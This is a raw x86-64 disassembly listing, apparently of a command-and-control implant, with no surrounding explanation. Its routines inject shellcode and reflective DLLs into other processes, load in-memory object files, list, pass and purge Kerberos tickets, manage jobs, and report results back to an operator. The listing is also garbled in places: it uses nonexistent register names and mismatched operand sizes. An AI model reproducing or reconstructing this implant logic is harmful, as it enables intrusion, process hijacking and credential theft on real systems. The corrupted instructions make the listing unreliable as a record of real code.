14000b946lea rcx, [rip+0x1b05b]
14000b94dmov r8l, 1172
14000b953mov [rsp+32], eax
14000b957call printf
14000b95cmov ecx, [rsp+92]
14000b960mov edx, 1066
14000b965call ProcessOpen
14000b96atest rax, rax
14000b96dje 0x14000b9b6
14000b96fmov rdi, rax
14000b972mov eax, [rsp+122]
14000b976lea r13, [rsp+80]
14000b97bmov r9, rsi
14000b97emov [rsp+56], r13
14000b983mov r8l, [rsp+76]
14000b988mov rcx, rdi
14000b98bmov rdx, r12
14000b98emov [rsp+48], rax
14000b993mov rax, [rsp+114]
14000b998mov [rsp+40], rax
14000b99dmov eax, [rsp+72]
14000b9a1mov [rsp+32], eax
14000b9a5call DllInjectReflective
14000b9aamov rcx, rdi
14000b9admov esi, eax
14000b9afcall SysNtClose
14000b9b4jmp 0x14000b9d6
14000b9b6
14000b9b6loc_14000b9b6:
14000b9b6mov rax, [rip+0x209b3]
14000b9bdmov ecx, 1
14000b9c2mov esi, 1
14000b9c7mov rax, [rax+2230]
14000b9cemov edx, [rax+104]
14000b9d1call PackageTransmitError
14000b9d6
14000b9d6loc_14000b9d6:
14000b9d6mov r9l, esi
14000b9d9mov r8l, 1186
14000b9dfmov rdx, rbx
14000b9e2lea rcx, [rip+0x1afe3]
14000b9e9call printf
14000b9eemov edx, esi
14000b9f0mov rcx, rbp
14000b9f3call PackageAddInt32
14000b9f8mov rcx, rbp
14000b9fbcall PackageTransmit
14000ba00add rsp, 136
14000ba07pop rbx
14000ba08pop rsi
14000ba09pop rdi
14000ba0apop rbp
14000ba0bpop r12
14000ba0dpop r13
14000ba0fret
14000b840

14000ba10
14000ba10CommandInjectShellcode:
14000ba10push r15
14000ba12xor eax, eax
14000ba14xor r11l, r11l
14000ba17push r14
14000ba19push r13
14000ba1bpush r12
14000ba1dpush rbp
14000ba1epush rdi
14000ba1fpush rsi
14000ba20mov rsi, rcx
14000ba23mov ecx, 6
14000ba28push rbx
14000ba29sub rsp, 152
14000ba30lea rdi, [rsp+120]
14000ba35mov [rsp+112], r11l
14000ba3arep stosd [rdi], eax
14000ba3cmov ecx, 24
14000ba41mov [rsp+116], r11l
14000ba46call PackageCreate
14000ba4bmov rcx, rsi
14000ba4emov r13, rax
14000ba51call ParserGetInt32
14000ba56mov rcx, rsi
14000ba59mov [rsp+108], eax
14000ba5dcall ParserGetInt32
14000ba62mov rcx, rsi
14000ba65mov ebx, eax
14000ba67call ParserGetInt32
14000ba6clea rdx, [rsp+112]
14000ba71mov rcx, rsi
14000ba74mov ebp, eax
14000ba76call ParserGetBytes
14000ba7blea rdx, [rsp+116]
14000ba80mov rcx, rsi
14000ba83mov r12, rax
14000ba86call ParserGetBytes
14000ba8bmov rcx, rsi
14000ba8emov r14, rax
14000ba91call ParserGetInt32
14000ba96test ebp, ebp
14000ba98mov [rsp+32], ebx
14000ba9cmov r9l, [rsp+108]
14000baa1mov r15l, eax
14000baa4mov [rsp+64], r14
14000baa9mov r8l, 1238
14000baaflea rdx, [rip+0x1a7d0]
14000bab6lea rax, [rip+0x1a7c4]
14000babdmov [rsp+80], r15l
14000bac2lea rcx, [rip+0x1af28]
14000bac9cmove rax, rdx
14000bacdmov edx, [rsp+116]
14000bad1mov [rsp+48], r12
14000bad6mov [rsp+72], edx
14000badamov edx, [rsp+112]
14000bademov [rsp+40], rax
14000bae3mov [rsp+56], edx
14000bae7lea rdx, [rip+0x20fe2]
14000baeecall printf
14000baf3mov r9l, [rsp+108]
14000baf8cmp r9l, 1
14000bafcje 0x14000bc73
14000bb02cmp r9l, 2
14000bb06je 0x14000bcc3
14000bb0cmov r8l, 1309
14000bb12lea rdx, [rip+0x20fb7]
14000bb19lea rcx, [rip+0x1b02c]
14000bb20test r9l, r9l
14000bb23jne 0x14000bd1c
14000bb29lea r9, [rip+0x1af6c]
14000bb30mov r8l, 1257
14000bb36lea rdx, [rip+0x20f93]
14000bb3dlea rcx, [rip+0x1a4c4]
14000bb44lea rdi, [rsp+120]
14000bb49call printf
14000bb4emov rsi, [rip+0x2081b]
14000bb55test ebp, ebp
14000bb57mov r8l, 1265
14000bb5dlea rdx, [rip+0x20f6c]
14000bb64lea rcx, [rip+0x1af42]
14000bb6bmov r15, [rsi+264]
14000bb72cmovne r15, [rsi+256]
14000bb7amov r9, r15
14000bb7dcall printf
14000bb82xor ecx, ecx
14000bb84test ebp, ebp
14000bb86mov [rsp+32], rdi
14000bb8bsete cl
14000bb8exor r9l, r9l
14000bb91xor r10l, r10l
14000bb94xor edx, edx
14000bb96mov [rsp+48], r9
14000bb9bmov r8, r15
14000bb9emov r9l, 0x8000014
14000bba4mov [rsp+40], r10l
14000bba9call ProcessCreate
14000bbaetest eax, eax
14000bbb0je 0x14000bc4f
14000bbb6mov r9l, [rsp+136]
14000bbbemov r8l, 1269
14000bbc4lea rdx, [rip+0x20f05]
14000bbcblea rcx, [rip+0x1af06]
14000bbd2call printf
14000bbd7mov eax, [rsp+116]
14000bbdbxor r8l, r8l
14000bbdemovzx ecx, bl
14000bbe1mov [rsp+48], r8
14000bbe6mov rdx, [rsp+120]
14000bbebmov r9l, ebp
14000bbeexor r8l, r8l
14000bbf1mov [rsp+64], rax
14000bbf6mov eax, [rsp+112]
14000bbfamov [rsp+56], r14
14000bbffmov [rsp+40], rax
14000bc04mov [rsp+32], r12
14000bc09call Inject
14000bc0emov ebx, eax
14000bc10test eax, eax
14000bc12je 0x14000bc20
14000bc14mov rcx, [rsp+120]
14000bc19xor edx, edx
14000bc1bcall ProcessTerminate
14000bc20
14000bc20loc_14000bc20:
14000bc20mov rcx, [rsp+120]
14000bc25test rcx, rcx
14000bc28je 0x14000bc2f
14000bc2acall SysNtClose
14000bc2f
14000bc2floc_14000bc2f:
14000bc2fmov rcx, [rsp+128]
14000bc37test rcx, rcx
14000bc3aje 0x14000bc41
14000bc3ccall SysNtClose
14000bc41
14000bc41loc_14000bc41:
14000bc41mov ecx, 24
14000bc46xor eax, eax
14000bc48rep stosb [rdi], al
14000bc4ajmp 0x14000bd26
14000bc4f
14000bc4floc_14000bc4f:
14000bc4fmov rax, [rsi+2230]
14000bc56mov r8l, 1292
14000bc5clea rdx, [rip+0x20e6d]
14000bc63lea rcx, [rip+0x1ae8f]
14000bc6amov r9l, [rax+104]
14000bc6ejmp 0x14000bd1c
14000bc73
14000bc73loc_14000bc73:
14000bc73lea r9, [rip+0x1aead]
14000bc7amov r8l, 1298
14000bc80lea rdx, [rip+0x20e49]
14000bc87lea rcx, [rip+0x1a37a]
14000bc8ecall printf
14000bc93mov eax, [rsp+116]
14000bc97xor edx, edx
14000bc99mov [rsp+56], r14
14000bc9emov [rsp+48], rdx
14000bca3movzx ecx, bl
14000bca6mov r9l, ebp
14000bca9mov r8l, r15l
14000bcacmov [rsp+64], rax
14000bcb1mov eax, [rsp+112]
14000bcb5xor edx, edx
14000bcb7mov [rsp+32], r12
14000bcbcmov [rsp+40], rax
14000bcc1jmp 0x14000bd13
14000bcc3
14000bcc3loc_14000bcc3:
14000bcc3lea r9, [rip+0x1ae6f]
14000bccamov r8l, 1303
14000bcd0lea rdx, [rip+0x20df9]
14000bcd7lea rcx, [rip+0x1a32a]
14000bcdecall printf
14000bce3mov eax, [rsp+116]
14000bce7movzx ecx, bl
14000bceamov r9l, ebp
14000bcedmov [rsp+56], r14
14000bcf2xor r8l, r8l
14000bcf5or rdx, -1
14000bcf9mov [rsp+64], rax
14000bcfexor eax, eax
14000bd00mov [rsp+48], rax
14000bd05mov eax, [rsp+112]
14000bd09mov [rsp+32], r12
14000bd0emov [rsp+40], rax
14000bd13
14000bd13loc_14000bd13:
14000bd13call Inject
14000bd18mov ebx, eax
14000bd1ajmp 0x14000bd26
14000bd1c
14000bd1cloc_14000bd1c:
14000bd1ccall printf
14000bd21mov ebx, 1
14000bd26
14000bd26loc_14000bd26:
14000bd26mov edx, ebx
14000bd28mov rcx, r13
14000bd2bcall PackageAddInt32
14000bd30mov rcx, r13
14000bd33call PackageTransmit
14000bd38add rsp, 152
14000bd3fpop rbx
14000bd40pop rsi
14000bd41pop rdi
14000bd42pop rbp
14000bd43pop r12
14000bd45pop r13
14000bd47pop r14
14000bd49pop r15
14000bd4bret
14000ba10

14000bd4c
14000bd4c // align 0x10

14000bd50
14000bd50CommandInlineExecute:
14000bd50push r15
14000bd52xor eax, eax
14000bd54push r14
14000bd56push r13
14000bd58push r12
14000bd5apush rbp
14000bd5bmov rbp, rcx
14000bd5epush rdi
14000bd5fpush rsi
14000bd60push rbx
14000bd61sub rsp, 88
14000bd65mov r15, [rip+0x20604]
14000bd6clea rdx, [rsp+72]
14000bd71mov [rsp+72], eax
14000bd75mov [rsp+76], eax
14000bd79mov r12l, [r15+8]
14000bd7dcall ParserGetString
14000bd82mov rcx, rbp
14000bd85mov rsi, rax
14000bd88call ParserGetInt32
14000bd8dlea rdx, [rsp+76]
14000bd92mov rcx, rbp
14000bd95mov ebx, eax
14000bd97call ParserGetString
14000bd9cmov rcx, rbp
14000bd9fmov rdi, rax
14000bda2call ParserGetInt32
14000bda7mov ecx, ebx
14000bda9mov r13l, eax
14000bdaccall GetMemFile
14000bdb1lea rdx, [rip+0x20da8]
14000bdb8test rax, rax
14000bdbbje 0x14000bddf
14000bdbdcmp [rax+32], 0
14000bdc1je 0x14000bdcd
14000bdc3mov rbp, [rax+24]
14000bdc7mov r14l, [rax+8]
14000bdcbjmp 0x14000be00
14000bdcd
14000bdcdloc_14000bdcd:
14000bdcdmov r9l, ebx
14000bdd0mov r8l, 1103
14000bdd6lea rcx, [rip+0x1a76f]
14000bdddjmp 0x14000bdef
14000bddf
14000bddfloc_14000bddf:
14000bddfmov r9l, ebx
14000bde2mov r8l, 1107
14000bde8lea rcx, [rip+0x1a78d]
14000bdef
14000bdefloc_14000bdef:
14000bdefcall printf
14000bdf4xor ebp, ebp
14000bdf6xor r14l, r14l
14000bdf9lea rdx, [rip+0x20d60]
14000be00
14000be00loc_14000be00:
14000be00test r13l, r13l
14000be03lea rcx, [rip+0x1a1fe]
14000be0aje 0x14000be20
14000be0cdec r13l
14000be0fjne 0x14000be2f
14000be11lea r9, [rip+0x1aaa7]
14000be18mov r8l, 1121
14000be1ejmp 0x14000be66
14000be20
14000be20loc_14000be20:
14000be20lea r9, [rip+0x1aa7d]
14000be27mov r8l, 1114
14000be2djmp 0x14000be9f
14000be2f
14000be2floc_14000be2f:
14000be2flea r9, [rip+0x1aaa3]
14000be36mov r8l, 1128
14000be3ccall printf
14000be41cmp [r15+236], 0
14000be49lea rcx, [rip+0x1a1b8]
14000be50lea rdx, [rip+0x20d09]
14000be57je 0x14000be92
14000be59lea r9, [rip+0x1aa9d]
14000be60mov r8l, 1132
14000be66
14000be66loc_14000be66:
14000be66call printf
14000be6bmov eax, [rsp+76]
14000be6fmov edx, [rsp+72]
14000be73mov r9l, r14l
14000be76mov [rsp+48], r12l
14000be7bmov r8, rbp
14000be7emov rcx, rsi
14000be81mov [rsp+40], rax
14000be86mov [rsp+32], rdi
14000be8bcall CoffeeRunner
14000be90jmp 0x14000bebc
14000be92
14000be92loc_14000be92:
14000be92lea r9, [rip+0x1aa7e]
14000be99mov r8l, 1137
14000be9f
14000be9floc_14000be9f:
14000be9fcall printf
14000bea4mov [rsp+32], r12l
14000bea9mov r8, rdi
14000beacmov rdx, rbp
14000beafmov r9l, [rsp+76]
14000beb4mov rcx, rsi
14000beb7call CoffeeLdr
14000bebc
14000bebcloc_14000bebc:
14000bebcmov ecx, ebx
14000bebecall RemoveMemFile
14000bec3add rsp, 88
14000bec7pop rbx
14000bec8pop rsi
14000bec9pop rdi
14000becapop rbp
14000becbpop r12
14000becdpop r13
14000becfpop r14
14000bed1pop r15
14000bed3ret
14000bd50

14000bed4
14000bed4 // align 0x10

14000bee0
14000bee0CommandJob:
14000bee0push r12
14000bee2lea r12, [rip+0x1a11f]
14000bee9lea r9, [rip+0x1a1f3]
14000bef0mov r8l, 196
14000bef6push rbp
14000bef7mov rbp, rcx
14000befamov rcx, r12
14000befdpush rdi
14000befelea rdi, [rip+0x20d2b]
14000bf05push rsi
14000bf06mov rdx, rdi
14000bf09push rbx
14000bf0asub rsp, 48
14000bf0ecall printf
14000bf13mov ecx, 21
14000bf18call PackageCreate
14000bf1dmov rcx, rbp
14000bf20mov rbx, rax
14000bf23call ParserGetInt32
14000bf28mov rcx, rbx
14000bf2bmov esi, eax
14000bf2dmov edx, eax
14000bf2fcall PackageAddInt32
14000bf34cmp esi, 3
14000bf37je 0x14000c064
14000bf3djg 0x14000bfa9
14000bf3fcmp esi, 1
14000bf42je 0x14000bfe0
14000bf48cmp esi, 2
14000bf4bjne 0x14000c0a3
14000bf51lea r9, [rip+0x1a1d1]
14000bf58mov r8l, 229
14000bf5emov rdx, rdi
14000bf61mov rcx, r12
14000bf64call printf
14000bf69mov rcx, rbp
14000bf6ccall ParserGetInt32
14000bf71mov ecx, eax
14000bf73mov esi, eax
14000bf75call JobSuspend
14000bf7amov r9l, esi
14000bf7dmov rdx, rdi
14000bf80mov r8l, 233
14000bf86mov [rsp+32], eax
14000bf8alea rcx, [rip+0x1a1a5]
14000bf91mov ebp, eax
14000bf93call printf
14000bf98mov edx, esi
14000bf9amov rcx, rbx
14000bf9dcall PackageAddInt32
14000bfa2mov edx, ebp
14000bfa4jmp 0x14000c09b
14000bfa9
14000bfa9loc_14000bfa9:
14000bfa9cmp esi, 4
14000bfacjne 0x14000c0a3
14000bfb2lea r9, [rip+0x1a1b1]
14000bfb9mov r8l, 255
14000bfbfmov rdx, rdi
14000bfc2mov rcx, r12
14000bfc5call printf
14000bfcamov rcx, rbp
14000bfcdcall ParserGetInt32
14000bfd2mov ecx, eax
14000bfd4mov esi, eax
14000bfd6call JobKill
14000bfdbjmp 0x14000c08d
14000bfe0
14000bfe0loc_14000bfe0:
14000bfe0lea r9, [rip+0x1a100]
14000bfe7mov r8l, 206
14000bfedmov rdx, rdi
14000bff0mov rcx, r12
14000bff3call printf
14000bff8mov rax, [rip+0x20371]
14000bffflea rbp, [rip+0x1a0eb]
14000c006mov rsi, [rax+2302]
14000c00d
14000c00dloc_14000c00d:
14000c00dtest rsi, rsi
14000c010je 0x14000c0a3
14000c016movsx eax, [rsi+10]
14000c01amov r9l, [rsi+4]
14000c01emov rdx, rdi
14000c021mov rcx, rbp
14000c024mov r8l, 212
14000c02amov [rsp+40], eax
14000c02emovsx eax, [rsi+8]
14000c032mov [rsp+32], eax
14000c036call printf
14000c03bmov edx, [rsi+4]
14000c03emov rcx, rbx
14000c041call PackageAddInt32
14000c046movsx edx, [rsi+8]
14000c04amov rcx, rbx
14000c04dcall PackageAddInt32
14000c052movsx edx, [rsi+10]
14000c056mov rcx, rbx
14000c059call PackageAddInt32
14000c05emov rsi, [rsi+32]
14000c062jmp 0x14000c00d
14000c064
14000c064loc_14000c064:
14000c064lea r9, [rip+0x1a0f3]
14000c06bmov r8l, 243
14000c071mov rdx, rdi
14000c074mov rcx, r12
14000c077call printf
14000c07cmov rcx, rbp
14000c07fcall ParserGetInt32
14000c084mov ecx, eax
14000c086mov esi, eax
14000c088call JobResume
14000c08d
14000c08dloc_14000c08d:
14000c08dmov edi, eax
14000c08fmov edx, esi
14000c091mov rcx, rbx
14000c094call PackageAddInt32
14000c099mov edx, edi
14000c09b
14000c09bloc_14000c09b:
14000c09bmov rcx, rbx
14000c09ecall PackageAddInt32
14000c0a3
14000c0a3loc_14000c0a3:
14000c0a3add rsp, 48
14000c0a7mov rcx, rbx
14000c0aapop rbx
14000c0abpop rsi
14000c0acpop rdi
14000c0adpop rbp
14000c0aepop r12
14000c0b0jmp 0x140018b90
14000bee0

14000c0b5
14000c0b5 // align 0x10

14000c0c0
14000c0c0CommandKerberos:
14000c0c0push r15
14000c0c2push r14
14000c0c4push r13
14000c0c6push r12
14000c0c8push rbp
14000c0c9push rdi
14000c0capush rsi
14000c0cbpush rbx
14000c0ccmov rbx, rcx
14000c0cfsub rsp, 56
14000c0d3call TokenCurrentHandle
14000c0d8mov ecx, 2550
14000c0ddmov rbp, rax
14000c0e0call PackageCreate
14000c0e5mov rcx, rbx
14000c0e8mov rsi, rax
14000c0ebcall ParserGetInt32
14000c0f0mov rcx, rsi
14000c0f3mov edi, eax
14000c0f5mov edx, eax
14000c0f7call PackageAddInt32
14000c0fccmp edi, 2
14000c0ffje 0x14000c531
14000c105jg 0x14000c118
14000c107test edi, edi
14000c109je 0x14000c177
14000c10bdec edi
14000c10dje 0x14000c1fe
14000c113jmp 0x14000c572
14000c118
14000c118loc_14000c118:
14000c118cmp edi, 3
14000c11bjne 0x14000c572
14000c121lea r9, [rip+0x1b33b]
14000c128mov r8l, 3140
14000c12elea rdx, [rip+0x20e4b]
14000c135lea rcx, [rip+0x19ecc]
14000c13ccall printf
14000c141lea rdx, [rsp+44]
14000c146xor eax, eax
14000c148mov rcx, rbx
14000c14bmov [rsp+44], eax
14000c14fcall ParserGetBytes
14000c154mov rcx, rbx
14000c157mov rdi, rax
14000c15acall ParserGetInt32
14000c15fmov r8l, [rsp+44]
14000c164mov rdx, rdi
14000c167mov rcx, rbp
14000c16amov r9l, eax
14000c16dcall Ptt
14000c172jmp 0x14000c563
14000c177
14000c177loc_14000c177:
14000c177lea r9, [rip+0x1b2b6]
14000c17emov r8l, 3014
14000c184lea rdx, [rip+0x20df5]
14000c18blea rcx, [rip+0x19e76]
14000c192call printf
14000c197mov rcx, rbp
14000c19acall GetLUID
14000c19fmov rbx, rax
14000c1a2test rbp, rbp
14000c1a5je 0x14000c1af
14000c1a7mov rcx, rbp
14000c1aacall SysNtClose
14000c1af
14000c1afloc_14000c1af:
14000c1afxor edx, edx
14000c1b1test rbx, rbx
14000c1b4mov rcx, rsi
14000c1b7setne dl
14000c1bacall PackageAddInt32
14000c1bftest rbx, rbx
14000c1c2je 0x14000c572
14000c1c8mov edx, [rbx+4]
14000c1cbmov rcx, rsi
14000c1cemov rdi, rbx
14000c1d1call PackageAddInt32
14000c1d6mov edx, [rbx]
14000c1d8mov rcx, rsi
14000c1dbcall PackageAddInt32
14000c1e0mov ecx, 8
14000c1e5xor eax, eax
14000c1e7rep stosb [rdi], al
14000c1e9mov rax, [rip+0x20180]
14000c1f0mov rcx, rbx
14000c1f3call [rax+940]
14000c1f9jmp 0x14000c572
14000c1fe
14000c1feloc_14000c1fe:
14000c1felea r9, [rip+0x1b23e]
14000c205mov r8l, 3041
14000c20blea rdx, [rip+0x20d6e]
14000c212xor edi, edi
14000c214lea rcx, [rip+0x19ded]
14000c21bcall printf
14000c220mov rcx, rbx
14000c223call ParserGetInt32
14000c228dec eax
14000c22ajne 0x14000c236
14000c22cmov rcx, rbx
14000c22fcall ParserGetInt32
14000c234mov edi, eax
14000c236
14000c236loc_14000c236:
14000c236mov rdx, rdi
14000c239mov rcx, rbp
14000c23ccall Klist
14000c241xor edx, edx
14000c243mov rcx, rsi
14000c246test rax, rax
14000c249mov rbx, rax
14000c24csetne dl
14000c24fcall PackageAddInt32
14000c254mov rax, rbx
14000c257xor edx, edx
14000c259
14000c259loc_14000c259:
14000c259test rax, rax
14000c25cje 0x14000c269
14000c25emov rax, [rax+7208]
14000c265inc edx
14000c267jmp 0x14000c259
14000c269
14000c269loc_14000c269:
14000c269mov rcx, rsi
14000c26ccall PackageAddInt32
14000c271mov r13, [rip+0x200f8]
14000c278
14000c278loc_14000c278:
14000c278test rbx, rbx
14000c27bje 0x14000c522
14000c281mov rdx, rbx
14000c284mov rcx, rsi
14000c287mov r14, [rbx+7208]
14000c28ecall PackageAddWString
14000c293lea rdx, [rbx+1024]
14000c29amov rcx, rsi
14000c29dcall PackageAddWString
14000c2a2mov edx, [rbx+2048]
14000c2a8mov rcx, rsi
14000c2abcall PackageAddInt32
14000c2b0mov edx, [rbx+2052]
14000c2b6mov rcx, rsi
14000c2b9call PackageAddInt32
14000c2bemov edx, [rbx+2056]
14000c2c4mov rcx, rsi
14000c2c7call PackageAddInt32
14000c2cclea rdx, [rbx+2060]
14000c2d3mov rcx, rsi
14000c2d6call PackageAddWString
14000c2dbmov edx, [rbx+3088]
14000c2e1mov rcx, rsi
14000c2e4call PackageAddInt32
14000c2e9mov edx, [rbx+3092]
14000c2efmov rcx, rsi
14000c2f2call PackageAddInt32
14000c2f7mov edx, [rbx+3096]
14000c2fdmov rcx, rsi
14000c300call PackageAddInt32
14000c305lea rdx, [rbx+3100]
14000c30cmov rcx, rsi
14000c30fcall PackageAddWString
14000c314lea rdx, [rbx+4124]
14000c31bmov rcx, rsi
14000c31ecall PackageAddWString
14000c323lea rdx, [rbx+5148]
14000c32amov rcx, rsi
14000c32dcall PackageAddWString
14000c332lea rdx, [rbx+6172]
14000c339mov rcx, rsi
14000c33ccall PackageAddWString
14000c341mov rax, [rbx+7200]
14000c348xor edx, edx
14000c34a
14000c34aloc_14000c34a:
14000c34atest rax, rax
14000c34dje 0x14000c35a
14000c34fmov rax, [rax+4144]
14000c356inc edx
14000c358jmp 0x14000c34a
14000c35a
14000c35aloc_14000c35a:
14000c35amov rcx, rsi
14000c35dxor r12l, r12l
14000c360call PackageAddInt32
14000c365
14000c365loc_14000c365:
14000c365mov rdx, [rbx+7200]
14000c36ctest rdx, rdx
14000c36fje 0x14000c4fe
14000c375mov rcx, rsi
14000c378mov r15, [rdx+4144]
14000c37fcall PackageAddWString
14000c384mov rax, [rbx+7200]
14000c38bmov rcx, rsi
14000c38elea rdx, [rax+1024]
14000c395call PackageAddWString
14000c39amov rax, [rbx+7200]
14000c3a1mov rcx, rsi
14000c3a4lea rdx, [rax+2048]
14000c3abcall PackageAddWString
14000c3b0mov rax, [rbx+7200]
14000c3b7mov rcx, rsi
14000c3balea rdx, [rax+3072]
14000c3c1call PackageAddWString
14000c3c6mov rax, [rbx+7200]
14000c3cdmov rcx, rsi
14000c3d0mov edx, [rax+4096]
14000c3d6call PackageAddInt32
14000c3dbmov rax, [rbx+7200]
14000c3e2mov rcx, rsi
14000c3e5mov edx, [rax+4100]
14000c3ebcall PackageAddInt32
14000c3f0mov rax, [rbx+7200]
14000c3f7mov rcx, rsi
14000c3famov edx, [rax+4104]
14000c400call PackageAddInt32
14000c405mov rax, [rbx+7200]
14000c40cmov rcx, rsi
14000c40fmov edx, [rax+4108]
14000c415call PackageAddInt32
14000c41amov rax, [rbx+7200]
14000c421mov rcx, rsi
14000c424mov edx, [rax+4112]
14000c42acall PackageAddInt32
14000c42fmov rax, [rbx+7200]
14000c436mov rcx, rsi
14000c439mov edx, [rax+4116]
14000c43fcall PackageAddInt32
14000c444mov rax, [rbx+7200]
14000c44bmov rcx, rsi
14000c44emov edx, [rax+4120]
14000c454call PackageAddInt32
14000c459mov rax, [rbx+7200]
14000c460mov rcx, rsi
14000c463mov edx, [rax+4124]
14000c469call PackageAddInt32
14000c46emov rax, [rbx+7200]
14000c475mov rcx, rsi
14000c478mov rdx, [rax+4128]
14000c47fmov r8l, [rax+4136]
14000c486call PackageAddBytes
14000c48bmov rax, [rbx+7200]
14000c492mov rdi, [rax+4128]
14000c499test rdi, rdi
14000c49cje 0x14000c4ce
14000c49emov ecx, [rax+4136]
14000c4a4mov eax, r12l
14000c4a7rep stosb [rdi], al
14000c4a9mov rax, [rbx+7200]
14000c4b0mov rcx, [rax+4128]
14000c4b7call [r13+940]
14000c4bemov rax, [rbx+7200]
14000c4c5xor edx, edx
14000c4c7mov [rax+4128], rdx
14000c4ce
14000c4celoc_14000c4ce:
14000c4cemov rdi, [rbx+7200]
14000c4d5test rdi, rdi
14000c4d8je 0x14000c4f2
14000c4damov ecx, 4152
14000c4dfmov eax, r12l
14000c4e2rep stosb [rdi], al
14000c4e4mov rcx, [rbx+7200]
14000c4ebcall [r13+940]
14000c4f2
14000c4f2loc_14000c4f2:
14000c4f2mov [rbx+7200], r15
14000c4f9jmp 0x14000c365
14000c4fe
14000c4feloc_14000c4fe:
14000c4femov rdi, rbx
14000c501mov ecx, 7216
14000c506xor eax, eax
14000c508rep stosb [rdi], al
14000c50amov rax, [rip+0x1fe5f]
14000c511mov rcx, rbx
14000c514mov rbx, r14
14000c517call [rax+940]
14000c51djmp 0x14000c278
14000c522
14000c522loc_14000c522:
14000c522test rbp, rbp
14000c525je 0x14000c572
14000c527mov rcx, rbp
14000c52acall SysNtClose
14000c52fjmp 0x14000c572
14000c531
14000c531loc_14000c531:
14000c531lea rdx, [rip+0x20a48]
14000c538lea r9, [rip+0x1af14]
14000c53fmov r8l, 3129
14000c545lea rcx, [rip+0x19abc]
14000c54ccall printf
14000c551mov rcx, rbx
14000c554call ParserGetInt32
14000c559mov rcx, rbp
14000c55cmov edx, eax
14000c55ecall Purge
14000c563
14000c563loc_14000c563:
14000c563xor edx, edx
14000c565test eax, eax
14000c567mov rcx, rsi
14000c56asetne dl
14000c56dcall PackageAddInt32
14000c572
14000c572loc_14000c572:
14000c572add rsp, 56
14000c576mov rcx, rsi
14000c579pop rbx
14000c57apop rsi
14000c57bpop rdi
14000c57cpop rbp
14000c57dpop r12
14000c57fpop r13
14000c581pop r14
14000c583pop r15
14000c585jmp 0x140018b90
14000c0c0

14000c58a
14000c58a // align 0x10

14000c590
14000c590CommandMemFile:
14000c590push rbp
14000c591xor eax, eax
14000c593push rdi
14000c594push rsi
14000c595mov rsi, rcx
14000c598mov ecx, 2560
14000c59dpush rbx
14000c59esub rsp, 56
14000c5a2mov [rsp+32], rax
14000c5a7mov [rsp+40], rax
14000c5accall PackageCreate
14000c5b1lea r9, [rip+0x1aeb9]
14000c5b8mov r8l, 3171
14000c5belea rdx, [rip+0x2069b]
14000c5c5lea rcx, [rip+0x19a3c]
14000c5ccmov rbx, rax
14000c5cfcall printf
14000c5d4mov rcx, rsi
14000c5d7call ParserGetInt32
14000c5dcmov rcx, rsi
14000c5dfmov edi, eax
14000c5e1call ParserGetInt64
14000c5e6lea rdx, [rsp+40]
14000c5ebmov rcx, rsi
14000c5eemov rbp, rax
14000c5f1call ParserGetBytes
14000c5f6mov r9l, [rsp+40]
14000c5fbmov rdx, rbp
14000c5femov ecx, edi
14000c600mov r8, rax
14000c603mov [rsp+32], rax
14000c608call ProcessMemFileChunk
14000c60dmov edx, edi
14000c60fmov rcx, rbx
14000c612mov rsi, rax
14000c615call PackageAddInt32
14000c61axor edx, edx
14000c61ctest rsi, rsi
14000c61fmov rcx, rbx
14000c622setne dl
14000c625call PackageAddInt32
14000c62amov rcx, rbx
14000c62dcall PackageTransmit
14000c632add rsp, 56
14000c636pop rbx
14000c637pop rsi
14000c638pop rdi
14000c639pop rbp
14000c63aret
14000c590

14000c63b
14000c63b // align 0x10

14000c640
14000c640CommandNet:
14000c640push r15
14000c642lea r9, [rip+0x1a023]
14000c649mov r8l, 2049
14000c64fpush r14
14000c651push r13
14000c653push r12
14000c655push rbp
14000c656mov rbp, rcx
14000c659push rdi
14000c65alea rdi, [rip+0x199a7]
14000c661push rsi
14000c662lea rsi, [rip+0x20cc7]
14000c669mov rcx, rdi
14000c66cpush rbx
14000c66dmov rdx, rsi
14000c670sub rsp, 136
14000c677call printf
14000c67cmov ecx, 2100
14000c681call PackageCreate
14000c686mov rcx, rbp
14000c689mov [rsp+88], rax
14000c68ecall ParserGetInt32
14000c693mov rcx, [rsp+88]
14000c698mov r12l, eax
14000c69bmov edx, eax
14000c69dcall PackageAddInt32
14000c6a2dec r12l
14000c6a5cmp r12l, 8
14000c6a9ja 0x14000cf43
14000c6aflea rdx, [rip+0x1a1ca]
14000c6b6movsxd rax, [rdx+4*r12]
14000c6baadd rax, rdx
14000c6bdjmp rax
14000c6bfmov rcx, rdi
14000c6c2mov r8l, 2059
14000c6c8mov rdx, rsi
14000c6cblea r9, [rip+0x19fa6]
14000c6d2lea rdi, [rsp+120]
14000c6d7call printf
14000c6dcxor r11l, r11l
14000c6dfxor edx, edx
14000c6e1mov r8, rdi
14000c6e4mov rbp, [rip+0x1fc85]
14000c6ebmov [rsp+120], r11l
14000c6f0mov ecx, 2
14000c6f5call [rbp+924]
14000c6fbtest eax, eax
14000c6fdjne 0x14000ca2c
14000c703mov edx, [rsp+120]
14000c707mov ecx, 64
14000c70ccall [rbp+932]
14000c712mov rsi, rax
14000c715test rax, rax
14000c718je 0x14000ca2c
14000c71emov r8, rdi
14000c721mov rdx, rax
14000c724mov ecx, 2
14000c729call [rbp+924]
14000c72ftest eax, eax
14000c731jne 0x14000c760
14000c733mov rax, [rbp+2230]
14000c73amov ecx, 1
14000c73fmov rdi, rsi
14000c742mov edx, [rax+104]
14000c745call PackageTransmitError
14000c74amov ecx, [rsp+120]
14000c74exor eax, eax
14000c750rep stosb [rdi], al
14000c752mov rcx, rsi
14000c755call [rbp+940]
14000c75bjmp 0x14000ca2c
14000c760
14000c760loc_14000c760:
14000c760mov rcx, [rsp+88]
14000c765mov rdx, rsi
14000c768mov rdi, rsi
14000c76bcall PackageAddString
14000c770mov ecx, [rsp+120]
14000c774xor eax, eax
14000c776rep stosb [rdi], al
14000c778mov rcx, rsi
14000c77bcall [rbp+940]
14000c781jmp 0x14000cf5b
14000c786mov rcx, rdi
14000c789lea r13, [rsp+120]
14000c78elea r14, [rsp+112]
14000c793mov rdx, rsi
14000c796lea r9, [rip+0x19ef4]
14000c79dmov r8l, 2094
14000c7a3call printf
14000c7a8xor r9l, r9l
14000c7abxor r8l, r8l
14000c7aelea rdx, [rsp+116]
14000c7b3mov rcx, rbp
14000c7b6mov [rsp+120], r8
14000c7bbmov [rsp+104], r9l
14000c7c0mov [rsp+108], r9l
14000c7c5mov [rsp+112], r9l
14000c7camov [rsp+116], r9l
14000c7cfcall ParserGetWString
14000c7d4mov rcx, [rsp+88]
14000c7d9mov rdx, rax
14000c7dcmov r12, rax
